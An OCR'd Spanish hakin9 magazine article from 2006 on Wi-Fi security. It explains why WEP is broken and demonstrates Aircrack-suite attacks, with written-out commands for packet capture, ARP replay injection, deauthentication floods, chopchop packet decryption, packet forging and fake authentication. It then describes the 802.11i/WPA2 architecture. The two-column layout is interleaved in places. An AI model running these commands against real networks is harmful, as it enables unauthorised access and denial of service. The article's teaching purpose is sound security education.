You are on page 1of 15

Seguridad Wi-Fi

– WEP, WPA y WPA2


Tema caliente

Guillaume Lehembre

Grado de dificultad

La tecnología Wi-Fi (Wireless Fidelity) es una de las tecnologías


líder en la comunicación inalámbrica, y el soporte para Wi-Fi
se está incorporando en cada vez más aparatos: portátiles,
PDAs o teléfonos móviles. De todas formas, hay un aspecto que
en demasiadas ocasiones pasa desapercibido: la seguridad.
Analicemos con más detalle el nivel de seguridad de los métodos
de encriptación utilizados por las soluciones Wi-Fi actuales.

A
un cuando se activen las medidas de donde || es un operador de concatenación y
seguridad en los aparatos Wi-Fi, se + es un operador XOR. Claramente, el vector
utiliza un protocolo de encriptación de inicialización es la clave de la seguridad
débil, como WEP. En este artículo, exami- WEP, así que para mantener un nivel decen-
naremos las debilidades de WEP y veremos te de seguridad y minimizar la difusión, el IV
lo sencillo que es crackear el protocolo. La debe ser aplicado a cada paquete, para que
lamentable inadecuación de WEP resalta los paquetes subsiguientes estén encriptados
la necesidad de una nueva arquitectura de con claves diferentes. Desafortunadamente
seguridad en el estándar 802.11i, por lo que para la seguridad WEP, el IV es transmitido en
también estudiaremos la puesta en práctica texto simple, y el estándar 802.11 no obliga a la
de WPA y WPA2 junto a sus primeras vulne- incrementación del IV, dejando esta medida de
rabilidades menores y su integración en los seguridad como opción posible para una termi-
sistemas operativos.

R.I.P. WEP En este artículo aprenderás...


WEP (Wired Equivalent Privacy) fue el primer
• las debilidades de la encriptación WEP,
protocolo de encriptación introducido en el pri-
• una visión global del estándar 802.11i y sus
mer estándar IEEE 802.11 allá por 1999. Está aplicaciones comerciales: WPA y WPA2,
basado en el algoritmo de encriptación RC4, • los fundamentos de 802.1x,
con una clave secreta de 40 o 104 bits, combi- • las debilidades potenciales de WPA y WPA2.
nada con un Vector de Inicialización (IV) de 24
bits para encriptar el mensaje de texto M y su Lo que deberías saber...
checksum – el ICV (Integrity Check Value). El
mensaje encriptado C se determinaba utilizan- • los fundamentos de los protocolos TCP/IP
do la siguiente fórmula: y Wi-Fi,
• debes tener nociones básicas de criptografía.
C = [ M || ICV(M) ] + [ RC4(K || IV) ]

12 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

nal inalámbrica particular (punto de


acceso o tarjeta inalámbrica).

Breve historia de WEP


El protocolo WEP no fue creado por
expertos en seguridad o criptografía,
así que pronto se demostró que era
vulnerable ante los problemas RC4
descritos por David Wagner cuatro
años antes. En 2001, Scott Fluhrer,
Itsik Mantin y Adi Shamir (FMS pa-
ra abreviar) publicaron su famoso
artículo sobre WEP, mostrando dos
vulnerabilidades en el algoritmo de Figura 1. Protocolo de encriptación WEP
encriptación: debilidades de no-va-
riación y ataques IV conocidos. Am- a su linealidad, algo que Nikita Bori- Las herramientas de cracking, co-
bos ataques se basan en el hecho de sov, Ian Goldberg y David Wagner ya mo Aircrack de Christophe Devine o
que para ciertos valores de clave es habían advertido en 2001. WepLab de José Ignacio Sánchez,
posible que los bits en los bytes ini- Desde entonces, se ha acepta- ponen en práctica estos ataques y
ciales del flujo de clave dependan de do que WEP proporciona un nivel pueden extraer una clave WEP de
tan sólo unos pocos bits de la clave de seguridad aceptable sólo para 128-bits en menos de 10 minutos (o
de encriptación (aunque normal- usuarios domésticos y aplicaciones algo más, dependiendo del punto
mente cada bit de un flujo de clave no críticas. Sin embargo, incluso de acceso y la tarjeta wireless es-
tiene una posibilidad del 50% de ser eso se desvaneció con la apari- pecíficos).
diferente del anterior). Como la cla- ción de los ataques KoreK en 2004 La incorporación de la inyección
ve de encriptación está compuesta (ataques generalizados FMS, que de paquetes mejoró sustancialmen-
concatenando la clave secreta con incluían optimizaciones de h1kari), te los tiempos de crackeo de WEP,
el IV, ciertos valores de IV muestran y el ataque inductivo invertido Ar- requiriendo tan sólo miles, en lugar
claves débiles. baugh, permitiendo que paquetes de millones, de paquetes con sufi-
Estas vulnerabilidades fueron arbitrarios fueran desencriptados cientes IVs únicos – alrededor de
aprovechadas por herramientas de sin necesidad de conocer la clave 150,000 para una clave WEP de
seguridad como AirSnort, permi- utilizando la inyección de paquetes. 64-bits y 500,000 para una clave de
tiendo que las claves WEP fueran
Tabla 1. Cronología de la muerte de WEP
descubiertas analizando una can-
tidad de tráfico suficiente. Aunque Fecha Descripción
este tipo de ataque podía ser de-
Septiembre Vulnerabilidad RC4 potencial (Wagner)
sarrollado con éxito en una red con
1995
mucho tráfico en un plazo de tiempo
razonable, el tiempo requerido para Octubre Primera publicación sobre las debilidades de WEP: Insegura
el procesamiento de los datos era 2000 para cualquier tamaño de clave; Análisis de la encapsula-
bastante largo. David Hulton (h1kari) ción WEP (Walker)
ideó un método optimizado de este Mayo 2001 Ataque contra WEP/WEP2 de Arbaugh
mismo ataque, tomando en consi-
Julio 2001 Ataque CRC bit flipping – Intercepting Mobile Communica-
deración no sólo el primer byte de
tions: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)
la salida RC4 (como en el método
FMS), sino también los siguientes. Agosto Ataques FMS – Debilidades en el algoritmo de programa-
Esto resultó en una ligera reducción 2001 ción de RC4 (Fluhrer, Mantin, Shamir)
de la cantidad de datos necesarios Agosto Publicación de AirSnort
para el análisis. 2001
La etapa de comprobación de Febrero Ataques FMS optimizados por h1kari
integridad también sufre de serias 2002
debilidades por culpa del algoritmo Agosto Ataques KoreK (IVs únicos) – publicación de chopchop y
CRC32 utilizado para esta tarea. 2004 chopper
CRC32 se usa normalmente para la
Julio/ Publicación de Aircrack (Devine) y WepLab (Sánchez),
detección de errores, pero nunca fue
Agosto poniendo en práctica los ataques KoreK.
considerado como seguro desde un
2004
punto de vista criptográfico, debido

www.hakin9.org hakin9 Nº 1/2006 13


Tema caliente

Listado 1. Activando el modo monitor


ARP-Request
# airmon.sh start ath0 El protocolo Address Resolution Pro-
Interface Chipset Driver tocol (ARP – RFC826) es usado para
ath0 Atheros madwifi (monitor mode enabled) traducir una dirección IP de 32-bits a
una dirección Ethernet de 48-bits (las
redes Wi-Fi también utilizan el protoco-
lo ethernet). Para ilustrarlo, cuando un
Listado 2. Descubriendo las redes cercanas y sus clientes host A (192.168.1.1) quiere comunicar-
se con un host B (192.168.1.2), la direc-
# airodump ath0 wep-crk 0 ción IP conocida debe ser traducida a
una dirección MAC utilizando el proto-
BSSID PWR Beacons # Data CH MB ENC ESSID
colo ARP. Para hacerlo, el host A envía
00:13:10:1F:9A:72 62 305 16 1 48 WEP hakin9demo
un mensaje broadcast conteniendo la
BSSID STATION PWR Packets ESSID dirección IP del host B (¿Quién tiene
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 56 1 hakin9demo 192.168.1.2? Decírselo a 192.168.1.1).
El host objetivo, reconociendo que la
dirección IP en los paquetes coincide
con la suya propia, devuelve una res-
128-bits. Con la inyección de paque- • airodump: herramienta de sni- puesta (192.168.1.2 está en 01:23:45:
tes, el obtener los datos necesarios ffing utilizada para descubrir las 67:89:0A). La respuesta es típicamente
era apenas una tarea de minutos. redes que tienen activado WEP, almacenada en la caché.
En la actualidad, WEP está defini- • aireplay: herramienta de inyec-
tivamente muerto (ver Tabla 1) y no ción para incrementar el tráfico,
debería ser utilizado, ni siquiera con • aircrack: crackeador de claves pueden ser repetidas para generar
rotación de claves. WEP que utiliza los IVs únicos nuevas respuestas ARP desde un
Los fallos de seguridad de WEP recogidos. host legítimo, haciendo que los men-
pueden resumirse tal y como sigue: sajes wireless sean encriptados con
En la actualidad, Aireplay sólo so- nuevos IVs.
• debilidades del algoritmo RC4 porta la inyección en algunos chip- En los siguientes ejemplos, 00:
dentro del protocolo WEP debido sets wireless, y el soporte para la 13:10:1F:9A:72 es la dirección MAC
a la construcción de la clave, inyección en modo monitor requiere del punto de acceso (BSSID) en el
• los IVs son demasiado cortos (24 los últimos drivers parcheados. El canal 1 con ESSID hakin9demo y
bits – hacen falta menos de 5000 modo monitor es el equivalente 00:09:5B:EB:C5:2B es la dirección
paquetes para tener un 50% de del modo promiscuo en las redes MAC de un cliente wireless (utili-
posibilidades de dar con la clave) de cable, que previene el rechazo zando WEP o WPA-PSK, depen-
y se permite la reutilización de de paquetes no destinados al host diendo del caso). La mayor parte de
IV (no hay protección contra la de monitorización (lo que se hace los comandos requieren privilegios
repetición de mensajes), normalmente en la capa física del de root.
• no existe una comprobación de stack OSI), permitiendo que todos El primer paso, es la activación
integridad apropiada (se utiliza los paquetes sean capturados. Con del modo monitor en nuestra tarjeta
CRC32 para la detección de los drivers parcheados, sólo se wireless (en este caso, un modelo
errores y no es criptográficamen- necesita una tarjeta wireless para basado en Atheros), así que po-
te seguro por su linealidad), capturar e inyectar tráfico simultá- demos capturar todo el tráfico (ver
• no existe un método integrado de neamente. Listado 1). El paso siguiente, será
actualización de las claves. La meta principal del ataque es descubrir redes cercanas y sus
generar tráfico para capturar IVs clientes, escaneando los 14 cana-
Crackeado de la clave WEP únicos utilizados entre un cliente le- les que utilizan las redes Wi-Fi (ver
utilizando Aircrack gítimo y el punto de acceso. Algunos Listado 2).
El crackeado de WEP puede ser datos encriptados son fácilmente re- El resultado del Listado 2 se
demostrado con facilidad utilizando conocibles porque tienen una longi- puede interpretar de esta forma: un
herramientas como Aircrack (creado tud fija, una dirección de destino fija, punto de acceso con BSSID 00:13:
por el investigador francés en temas etc. Esto sucede con los paquetes 10:1F:9A:72 está usando encripta-
de seguridad, Christophe Devine). de petición ARP (véase Recuadro ción WEP en el canal 1 con SSID
Aircrack contiene tres utilidades ARP-Request), que son enviadas hakin9demo y un cliente identificado
principales, usadas en las tres fases a la dirección broadcast (FF:FF:FF: con MAC 00:0C:F1:19:77:5C están
del ataque necesario para recuperar FF:FF:FF) y tienen una longitud fija asociados y autenticados en esta
la clave: de 68 octetos. Las peticiones ARP red wireless.

14 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

Una vez se haya localizado la


red objetivo, deberíamos empezar
a capturar en el canal correcto para
evitar la pérdida de paquetes mien-
tras escaneamos otros canales. Esto
produce la misma respuesta que el
comando previo:

# airodump ath0 wep-crk 1

Después, podremos usar la informa-


ción recogida para inyectar tráfico
utilizando aireplay. La inyección
empezará cuando una petición ARP
capturada, asociada con el BSSID
objetivo aparezca en la red inalám-
brica:

Figura 2. Resultados de Aircrack después de unos minutos


# aireplay -3 \
-b 00:13:10:1F:9A:72 \ Un cliente wireless puede ser operador XOR en el protocolo WEP
-h 00:0C:F1:19:77:5C \ deautenticado usando el siguiente significa que un byte seleccionado
-x 600 ath0 comando, que hace que se envíen en el mensaje encriptado siempre
(...) paquetes de deautenticación desde depende del mismo byte en el pa-
Read 980 packets el BSSID al cliente MAC haciendo quete plaintext. Cortando el último
(got 16 ARP requests), spoofing del BSSID: byte del mensaje encriptado lo co-
sent 570 packets... rrompe, pero también hace posible
# aireplay -0 5 intentar adivinar el valor del byte
Finalmente, aircrack se utiliza para -a 00:13:10:1F:9A:72 plaintext correspondiente y corregir
recuperar la clave WEP. Utilizando el -c 00:0C:F1:19:77:5C el mensaje encriptado.
fichero pcap se hace posible lanzar ath0 Si el paquete corregido es re-
este paso final mientras airodump si- inyectado a la red, será desechado
gue capturando datos (véase Figura 2 Se puede lograr una deautentica- por el punto de acceso si el intento
para los resultados): ción masiva, aunque no siempre ha sido incorrecto (en cuyo caso
es fiable, haciendo que el atacante hay que hacer otro intento), pero si
# aircrack -x -0 wep-crk.cap esté haciendo spoofing constante el intento ha tenido éxito, se tomará
del BSSID y reenviando el paquete el paquete como de costumbre. Re-
Otros tipos de ataque de deautenticación a la dirección petir el ataque para todos los bytes
Aircrack broadcast: del mensaje consigue que poda-
Aircrack hace también posible rea- mos desencriptar un paquete WEP
lizar otros tipos interesantes de ata- # aireplay -0 0 y recuperar el flujo de clave. Recor-
ques. Veamos algunos de ellos. -a 00:13:10:1F:9A:72 demos que la implementación IV no
ath0 es obligatoria en el protocolo WEP,
Ataque 2: Deautenticación así que es posible reutilizar este
Este ataque puede ser usado pa- Ataque 3: Desencriptación flujo de datos para hacer spoof de
ra recuperar un SSID oculto (por de paquetes de datos WEP paquetes posteriores (reutilizando
ejemplo, uno que no sea broadcast), arbitrarios sin conocer la el mismo IV).
capturar un WPA 4-way handshake clave La tarjeta wireless debe estar
o forzar una Denegación del Servi- Este ataque está basado en la situada en modo monitor, en el
cio (más sobre ello después, en la herramienta representativa de Ko- canal adecuado (véase el ejemplo
sección sobre 802.11i). El objetivo reK, llamada chopchop, que puede previo para una descripción de
del ataque es forzar al cliente a desencriptar paquetes encriptados cómo hacerlo). El ataque debe ser
reautenticarse, lo que unido a la falta con WEP sin conocer la clave. El lanzado contra un cliente legítimo
de autenticación para los marcos de chequeo de integridad implementa- (por ejemplo 00:0C:F1:19:77:5C en
control (usados para autenticación, do en el protocolo WEP permite que nuestro caso) y aireplay pedirá al
asociación, etc.) hace posible que el el atacante pueda modificar tanto un atacante que acepte los paquetes
atacante consiga hacer spoof de las paquete encriptado como su corres- encriptados (ver Listado 3). Se crean
direcciones MAC. pondiente CRC. Más aún, el uso del dos ficheros pcap: uno para los pa-

www.hakin9.org hakin9 Nº 1/2006 15


Tema caliente

quetes desencriptados, y otro para


Listado 3. Desencriptando paquetes WEP sin conocer la clave su flujo de datos correspondiente. El
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
archivo resultante puede ser legible
Read 413 packets... por humanos usando un lector apro-
Size: 124, FromDS: 0, ToDS: 1 (WEP) piado (usaremos tcpdump) – véase
BSSID = 00:13:10:1F:9A:72 el Listado 4 para un ejemplo de ping
Dest. MAC = 00:13:10:1F:9A:70
intercambiado entre hosts.
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c .A.......r....w\
Una vez capturado el flujo de cla-
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c .....p.@......., ve, es posible imitar cualquier paque-
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76 \.'...h.#..GZ.[v te. Aquí tenemos una petición ARP
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c .x.....0...hV.Sl enviada desde 192.168.2.123 (00:
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4 pF_..K....j.4wt.
0C:F1:19:77:5C) a 192.168.2.103:
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6 .......5#.U...[.
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1 .+>.[...";.D7...
0x0070: 3b88 c5b1 0843 0289 1bff 5160 ;....C....Q` # arpforge \
Use this packet ? y replay_dec-0916-114019.xor \
Saving chosen packet in replay_src-0916-113713.cap 1 \
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373 frames written in 1120ms
00:13:10:1F:9A:72 \
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671 frames written in 2013ms
00:0C:F1:19:77:5C \
(...)
Offset 35 (97% done) | xor = 83 | pt = 00 | 691 frames written in 2072ms 192.168.2.123 \
Offset 34 (98% done) | xor = 2F | pt = 08 | 692 frames written in 2076ms 192.168.2.103 \
Saving plaintext in replay_dec-0916-114019.cap forge-arp.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)
Finalmente aireplay se usa para
volver a ejecutar este paquete (ver
Listado 5).
Listado 4. Leyendo un fichero pcap del ataque Este método es menos auto-
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap mático que el propio ARP request
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11) spoofing de Airckrack (la opción -1),
11:40:19.642112 BSSID:00:13:10:1f:9a:72 pero es más escalable – el atacante
SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70 puede usar el flujo descubierto para
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
imitar cualquier paquete que no sea
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64 más largo que el flujo de datos (si
no, el flujo de clave debe ser expan-
dido).

Listado 5. Re-ejecución de un paquete falso


Ataque 4: Autenticación falsa
# aireplay -2 -r forge-arp.cap ath0 El método de crackeado de la cla-
Size: 68, FromDS: 0, ToDS: 1 (WEP) ve WEP descrito anteriormente
BSSID = 00:13:10:1F:9A:72 (Ataques 1 y 3) requiere un cliente
Dest. MAC = FF:FF:FF:FF:FF:FF
legítimo (real o virtual, aunque real
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c .A.......r....w\ sería mejor), asociado con el punto
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c ..............., de acceso para asegurarse de que el
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c \.'.I.`.%.KF.... punto de acceso no rechace los pa-
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a ..S.o-.....3..Q. quetes por una dirección de destino
0x0040: 49b7 52da I.R.
no asociada.
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap Si se utiliza autenticación abier-
You must also start airodump to capture replies. ta, cualquier cliente podrá ser au-
Sent 1029 packets... tenticado y asociado con el punto
de acceso, pero el punto de acceso
rechazará los paquetes no encripta-
Listado 6. Autenticación falsa dos con la clave WEP correcta. En
el ejemplo del Listado 6, se utiliza
# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0 Aireplay para imitar una petición de
18:30:00 Sending Authentication Request
autenticación y asociación para el
18:30:00 Authentication successful
18:30:00 Sending Association Request SSID hakin9demo (BSSID: 00:13:
18:30:00 Association successful 10:1F:9A:72) con la dirección MAC
falseada 0:1:2:3:4:5.

16 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

802.11i
IEEE 802.1X y EAP En enero de 2001, el grupo de
El protocolo de autenticación IEEE 802.1X (también conocido como Port-Based Net- trabajo i task group fue creado en
work Access Control) es un entorno desarrollado originalmente para redes de cable, y IEEE para mejorar la seguridad en
posee mecanismos de autenticación, autorización y distribución de claves y además la autenticación y la encriptación
incorpora controles de acceso para los usuarios que se unan a la red. La arquitectura de datos. En abril de 2003, la Wi-Fi
IEEE 802.1X está compuesta por tres entidades funcionales:
Alliance (una asociación que pro-
• el suplicante que se une a la red, mueve y certifica Wi-Fi) realizó una
• el autenticador que hace el control de acceso, recomendación para responder a
• el servidor de autenticación que toma las decisiones de autorización. las preocupaciones empresariales
ante la seguridad inalámbrica. Sin
En las redes inalámbricas, el punto de acceso sirve de autenticador. Cada puerto físico embargo, eran conscientes de que
(puerto virtual en las redes inalámbricas) se divide en dos puertos lógicos, formando los clientes no querrían cambiar sus
la PAE (Port Access Entity). La PAE de autenticación está siempre abierta y permite el
equipos.
paso de procesos de autenticación, mientras que el PAE de servicio sólo se abre tras
En junio de 2004, la edición final
una autenticación exitosa (por ejemplo, una autorización) por un tiempo limitado (3600
segundos por defecto). La decisión de permitir acceso está hecha por lo general por la
del estándar 802.11i fue adoptada y
tercera entidad, el servidor de autenticación (que puede ser un servidor Radius dedi- recibió el nombre comercial WPA2
cado o – por ejemplo en las redes domésticas – un simple proceso funcionando en el por parte de la alianza Wi-Fi. El es-
punto de acceso). La Figura 3 ilustra el modo de comunicación entre estas entidades. tándar IEEE 802.11i introdujo varios
El estándar 802.11i hace pequeñas modificaciones a IEEE 802.1X para que las cambios fundamentales, como la
redes inalámbricas estén protegidas frente al robo de identidades. La autenticación separación de la autenticación de
de mensajes se ha incorporado para asegurarse de que tanto el suplicante como el usuario de la integridad y privacidad
autenticador calculan sus claves secretas y activan la encriptación antes de acceder de los mensajes, proporcionando
a la red. una arquitectura robusta y escala-
El suplicante y el autenticador se comunican mediante un protocolo basado en
ble, que sirve igualmente para las
EAP. El rol del autenticador es, esencialmente, pasivo – se limita a enviar todos los
redes locales domésticas como para
mensajes al servidor de autenticación. EAP es un entorno para el transporte de varios
métodos de autenticación y permite sólo un número limitado de mensajes (Request,
los grandes entornos de red corpo-
Response, Success, Failure), mientras que otros mensajes intermedios son depen- rativos. La nueva arquitectura para
dientes del método seleccionado de autenticación: EAP-TLS, EAP-TTLS, PEAP, las redes wireless se llama Robust
Kerberos V5, EAP-SIM etc. Cuando se completa el proceso (por la multitud de méto- Security Network (RSN) y utiliza
dos posibles no entraremos en detalles), ambas entidades (suplicante y servidor de autenticación 802.1X, distribución de
autenticación) tendrán una clave maestra secreta. El protocolo utilizado en las redes claves robustas y nuevos mecanis-
inalámbricas para transportar EAP se llama EAPOL (EAP Over LAN), las comunica- mos de integridad y privacidad.
ciones entre autenticador y servidor de autenticación utilizan protocolos de capa más Además de tener una arquitectu-
alta, como Radius, etc. ra más compleja, RSN proporciona
soluciones seguras y escalables
Algunos puntos de acceso re- comportamiento puede ser mini- para la comunicación inalámbrica.
quieren que los clientes se vuelvan mizado en aireplay sustituyendo la Una RSN sólo aceptará máquinas
a asociar cada 30 segundos. Este segunda opción (0) por 30. con capacidades RSN, pero IEEE
802.11i también define una red tran-
sicional de seguridad – Transitional
Security Network (TSN), arquitectu-
ra en la que pueden participar siste-
mas RSN y WEP, permitiendo a los
usuarios actualizar su equipo en el
futuro. Si el proceso de autenticación
o asociación entre estaciones utiliza
4-Way handshake, la asociación
recibe el nombre de RSNA (Robust
Security Network Association).
El establecimiento de un contex-
to seguro de comunicación consta
de cuatro fases (ver Figura 4):

• acuerdo sobre la política de se-


guridad,
Figura 3. Modelo de IEEE 802.1X según la especificación IEEE 802.1X • autenticación 802.1X,

www.hakin9.org hakin9 Nº 1/2006 17


Tema caliente

La Figura 5 ilustra esta primera


fase.

Fase 2: autenticación 802.1X


La segunda fase es la autentica-
ción 802.1X basada en EAP y en el
método específico de autenticación
decidido: EAP/TLS con certificados
de cliente y servidor (requiriendo
una infraestructura de claves públi-
cas), EAP/TTLS o PEAP para au-
tenticación híbrida (con certificados
sólo requeridos para servidores),
etc. La autenticación 802.1X se
inicia cuando el punto de acceso
pide datos de identidad del cliente,
Figura 4. Fases operacionales de 802.11i y la respuesta del cliente incluye el
método de autenticación preferido.
• derivación y distribución de las rios pre-autenticarse antes de Se intercambian entonces mensa-
claves, cambiar de punto de acceso en jes apropiados entre el cliente y
• confidencialidad e integridad de la misma red para un funciona- el servidor de autenticación para
los datos RSNA. miento sin retrasos. generar una clave maestra común

Fase 1: Acuerdo sobre la


política de seguridad
La primera fase requiere que los par-
ticipantes estén de acuerdo sobre la
política de seguridad a utilizar. Las
políticas de seguridad soportadas
por el punto de acceso son mostra-
das en un mensaje Beacon o Probe
Response (después de un Probe
Request del cliente). Sigue a esto
una autenticación abierta estándar
(igual que en las redes TSN, donde
la autenticación siempre tiene éxito).
La respuesta del cliente se incluye
en el mensaje de Association Re- Figura 5. Fase 1: Acuerdo sobre la política de seguridad
quest validado por una Association
Response del punto de acceso. La
información sobre la política de se-
guridad se envía en el campo RSN
IE (Information Element) y detalla:

• los métodos de autenticación


soportados (802.1X, Pre-Shared
Key (PSK)),
• protocolos de seguridad para el
tráfico unicast (CCMP, TKIP etc.)
– la suit criptográfica basada en
pares,
• protocolos de seguridad para el
tráfico multicast (CCMP, TKIP
etc.) – suit criptográfica de gru-
po,
• soporte para la pre-autentica-
ción, que permite a los usua- Figura 6. Fase 2: autenticación 802.1X

18 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

(MK). Al final del proceso, se envía


desde el servidor de autenticación
al punto de acceso un mensaje Ra-
dius Accept, que contiene la MK y
un mensaje final EAP Success para
el cliente. La Figura 6 ilustra esta
segunda fase.

Fase 3: jerarquía y
distribución de claves
La seguridad de la conexión se
basa en gran medida en las claves
secretas. En RSN, cada clave tiene
una vida determinada y la seguri-
dad global se garantiza utilizando
un conjunto de varias claves organi- Figura 7. Fase 3: derivación y distribución de claves
zadas según una jerarquía. Cuando
se establece un contexto de seguri-
dad tras la autenticación exitosa, se
crean claves temporales de sesión
y se actualizan regularmente hasta
que se cierra el contexto de seguri-
dad. La generación y el intercambio
de claves es la meta de la tercera
fase. Durante la derivación de la
clave, se producen dos handshakes
(véase Figura 7):

• 4-Way Handshake para la de-


rivación de la PTK (Pairwise
Transient Key) y GTK (Group
Transient Key),
• Group Key Handshake para la
renovación de GTK.

La derivación de la clave PMK Figura 8. Fase 3: jerarquía de clave por parejas


(Pairwise Master Key) depende del
método de autenticación: fico unicast esta es la PTK (Pairwise • TMK (Temporary MIC Key – 2x64
Transient Key). La longitud de la bits): Clave para la autenticación
• si se usa una PSK (Pre-Shared PTK depende el protocolo de encrip- de datos (usada sólo por Michael
Key), PMK = PSK. La PSK es tación: 512 bits para TKIP y 384 bits con TKIP). Se usa una clave
generada desde una passphra- para CCMP. La PTK consiste en va- dedicada para cada lado de la
se (de 8 a 63 caracteres) o una rias claves temporales dedicadas: comunicación.
cadena de 256-bit y proporciona
una solución para redes domés- • KCK (Key Confirmation Key – 128 Esta jerarquía se resume en la Fi-
ticas o pequeñas empresas que bits): Clave para la autenticación gura 8.
no tienen servidor de autentica- de mensajes (MIC) durante el 4- El 4-Way Handshake, iniciado por
ción, Way Handshake y el Group Key el punto de acceso, hace posible:
• si se usa un servidor de autenti- Handshake,
cación, la PMK es derivada de la • KEK (Key Encryption Key – 128 • confirmar que el cliente conoce la
MK de autenticación 802.1X. bits): Clave para asegurar la con- PMK,
fidencialidad de los datos durante • derivar una PTK nueva,
La PMK en si misma no se usa el 4-Way Handshake y el Group • instalar claves de encriptación e
nunca para la encriptación o la com- Key Handshake, integridad,
probación de integridad. Al contrario, • TK (Temporary Key – 128 bits): • encriptar el transporte de la GTK,
se usa para generar una clave de Clave para encriptación de datos • confirmar la selección de la suite
encriptación temporal – para el trá- (usada por TKIP o CCMP), de cifrado.

www.hakin9.org hakin9 Nº 1/2006 19


Tema caliente

vadas, así que envía el SNonce y


la clave MIC calculada del segun-
do mensaje usando la clave KCK.
Cuando el autenticador recibe el
segundo mensaje, puede extraer el
SNonce (porque el mensaje no está
encriptado) y calcular la PTK y las
claves temporales derivadas. Ahora
puede verificar el valor de MIC en el
segundo mensaje y estar seguro de
que el suplicante conoce la PMK y
ha calculado correctamente la PTK
y las claves temporales derivadas.
El tercer mensaje enviado por el
autenticador al suplicante contiene
el GTK (encriptada con la clave
KEK), derivada de un GMK aleato-
rio y GNonce (ver Figura 10), junto
con el MIC calculado del tercer
mensaje utilizando la clave KCK.
Cuando el suplicante recibe este
mensaje, el MIC se comprueba
para asegurar que el autenticador
Figura 9. Fase 3: 4-Way Handshake conoce el PMK y ha calculado
correctamente la PTK y derivado
claves temporales.
El último mensaje certifica la
finalización del handshake e indica
que el suplicante ahora instalará
la clave y empezará la encripta-
ción. Al recibirlo, el autenticador
instala sus claves tras verificar el
valor MIC. Así, el sistema móvil y
el punto de acceso han obtenido,
calculado e instalado unas claves
de integridad y encriptación y ahora
pueden comunicarse a través de un
canal seguro para tráfico unicast y
multicast.
El tráfico multicast se protege
con otra clave: GTK (Group Tran-
sient Key), generada de una clave
maestra llamada GMK (Group
Master Key), una cadena fija, la
dirección MAC del punto de acceso
Figura 10. Fase 3: jerarquía de Group Key y un número aleatorio GNonce. La
longitud de GTK depende del proto-
Se intercambian cuatro mensajes nerados por el autenticador y el su- colo de encriptación – 256 bits para
EAPOL-Key entre el cliente y el plicante, respectivamente). El punto TKIP y128 bits para CCMP. GTK se
punto de acceso durante el 4-Way de acceso inicia el primer mensaje divide en claves temporales dedi-
Handshake. Esto se muestra en la seleccionando el número aleatorio cadas:
Figura 9. ANonce y enviándoselo al suplican-
La PTK se deriva de la PMK, te, sin encriptar el mensaje o prote- • GEK (Group Encryption Key):
una cadena fija, la dirección MAC gerlo de las trampas. El suplicante Clave para encriptación de datos
del punto de acceso, la dirección genera su propio número aleatorio (usada por CCMP para la auten-
MAC del cliente y dos números SNonce y ahora puede calcular la ticación y para la encriptación,
aleatorios (ANonce y SNonce, ge- PTK y las claves temporales deri- y por TKIP),

20 hakin9 Nº 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

• GIK (Group Integrity Key): Clave


para la autenticación de datos
(usada solamente por Michael
con TKIP).

Esta jerarquía se resume en la Fi-


gura 10.
Se intercambian dos mensajes
EAPOL-Key entre el cliente y el pun-
to de acceso durante el Group Key
Handshake. Este handshake hace
uso de claves temporales generadas
durante el 4-Way Handshake (KCK
y KEK). El proceso se muestra en la
Figura 11.
El Group Key Handshake sólo
se requiere para la disasociación de
una estación o para renovar la GTK,
Figura 11. Fase 3: Group Key Handshake
a petición del cliente. El autenticador
inicia el primer mensaje escogiendo Hay un concepto importante que (TSC, o TKIP Sequence Coun-
el número aleatorio GNonce y calcu- debe ser entendido antes de detallar ter) e incrementando el valor del
lando una nueva GTK. Envía la GTK estos protocolos: la diferencia entre IV para evitar la reutilización,
encriptada (usando KEK), el número MSDU (MAC Service Data Unit) y • Per Packet Key Mixing: para unir
de secuencia de la GTK y el MIC MPDU (MAC Protocol Data Unit). claves de encriptación aparente-
calculado de este mensaje usando Ambos términos se refieren a un mente inconexas,
KCK al suplicante. Cuando el men- sólo paquete de datos, pero MSDU • gestión de claves: nuevos me-
saje es recibido por el suplicante, se representa a los datos antes de la canismos para la distribución y
verifica el MIC y la GTK puede ser fragmentación, mientras las MPDUs modificación de claves.
desencriptada. son múltiples unidades de datos tras
El segundo mensaje certifi- la fragmentación. La diferencia es TKIP Key-Mixing Scheme se divide
ca la finalización del Group Key importante en TKIP y en el proto- en dos fases. La primera se ocupa
Handshake enviando el número de colo de encriptación CCMP, ya que de los datos estáticos – la clave TEK
secuencia de GTK y el MIC calcu- en TKIP el MIC se calcula desde la de sesión secreta, el TA de la direc-
